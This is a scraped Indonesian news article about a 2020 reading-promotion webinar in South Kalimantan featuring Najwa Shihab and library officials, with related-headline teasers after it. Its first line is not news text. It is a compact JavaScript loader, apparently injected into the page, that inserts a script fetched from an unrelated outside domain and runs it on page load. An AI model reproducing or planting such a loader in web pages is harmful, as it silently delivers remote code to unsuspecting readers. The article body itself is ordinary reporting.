(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pandemi Covid-19 yang belum kunjung berakhir, membuat anak-anak banyak menghabiskan waktu di rumah. Tapi, tak ada salahnya orangtua membiasakan anak menyisihkan waktu membaca buku.
Karena dengan buku fisik melatih daya imajinasi dan masuk dalam alur cerita yang tulis dalam buku tersebut.
“Meskipun anak-anak sekarang lebih suka membaca melalu layar gawai, bukan berarti kita tidak bisa mengalihkan kesukaannya itu. Kita harus membantu mereka untuk mencintai buku fisik dengan mulai mendapatkan buku sesuai tema, hobi atau artis yang sedang digemarinya,” ungkap Duta Baca Indonesia Najwa Shihab saat webinar, Jumat (24/7/2020), ditayangkan live di YouTube Dispersip Kalsel.
Kepada peserta talkshiw virtual yang diikuti lebih dari 3000 peserta itu, Najwa mengaku menggemari membaca sejak kecil, yang mana kebiasaan ini terus berlanjut hingga kini. Ia mengatakan perlu dukungan semua pihak agar generasi milenial untuk menggemari membaca, bukan hanya melalui medium digital tetapi juga buku fisik.
Kebiasaan membaca akan melatih daya imajinasi dan mengasah kreativitas. Maka tak heran, Nana selalu mendorong masyarakat Indonesia agar gemar membaca.
Baca juga: Setu Curi Ribuan ‘CD’ Wanita, Dipasangkan ke Boneka untuk Fantasi
Deputi Bidang Pengembangan Sumber Daya Perpustakaan Perpurnas Woro Titi Haryanti mengatakan pada masa sekarang ini, kegiatan Webinar menjadi keniscayaan yang dibutuhkan masyarakat untuk terus menambah pengetahuan.
“Kita patut bersyukur bersama bahwasanya berbagai perpustakaan di seluruh Indonesia telah menghiasi ruang digital dengan berbagai tema bidang kepustakaan maupun tema peningkatan kegemaran membaca,” katanya.
Menurutnya, membaca buku fisik maupun buku digital tak cuma perkara menambah wawasan. Lebih dari itu, membaca buku setiap hari memberikan manfaatnya untuk menjaga fungsi otak. Manfaat itu bahkan diklaim bisa bertahan seumur hidup.
Baca juga: Dua Hari Berturut-turut, Kasus Sembuh Covid-19 Kalsel Lampaui Temuan Kasus Baru
“Dengan membaca buku dapat menjaga otak agar bisa tetap aktif sehingga dapat melakukan fungsinya secara baik dan benar,” terangnya.
Sementara itu Kepala Dispersip Kalsel Dra Hj Nurliani Dardie mengatakan agenda bincang literasi merupakan program Dispersip Kalsel membumikan budaya literasi kepada masyarakat khususnya generasi milenial.
“Biasanya dilakukan dengan tatap muka, namun karena pandemi Covid-19, jadi acara digelar dalam bentuk webinar,” katanya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
This website uses cookies.